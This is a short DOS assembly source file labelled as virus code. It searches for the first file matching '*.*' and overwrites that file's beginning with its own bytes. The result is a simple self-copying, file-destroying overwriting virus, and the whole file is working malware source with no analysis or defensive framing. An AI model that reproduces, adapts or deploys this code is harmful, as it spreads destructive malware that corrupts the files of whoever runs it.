univ.asm virus code with com for compiler

code segment
assume cs:code,ds:code,es:code,ss:code
org 100h

main proc near
mov dx,offset(nev) ; offset to '*.*'
mov ah,4Eh
int 21h ; find first
mov dx,009Eh
mov ax,3D01h ; writing
int 21h ; open a file
mov bx,ax
mov ah,40h
mov cl,offset(nev)-100h+4 ; byte-szam
mov dx,100h
int 21h ; write to file
nev: DB '*.*'
DB 0h
main endp
code ends
end main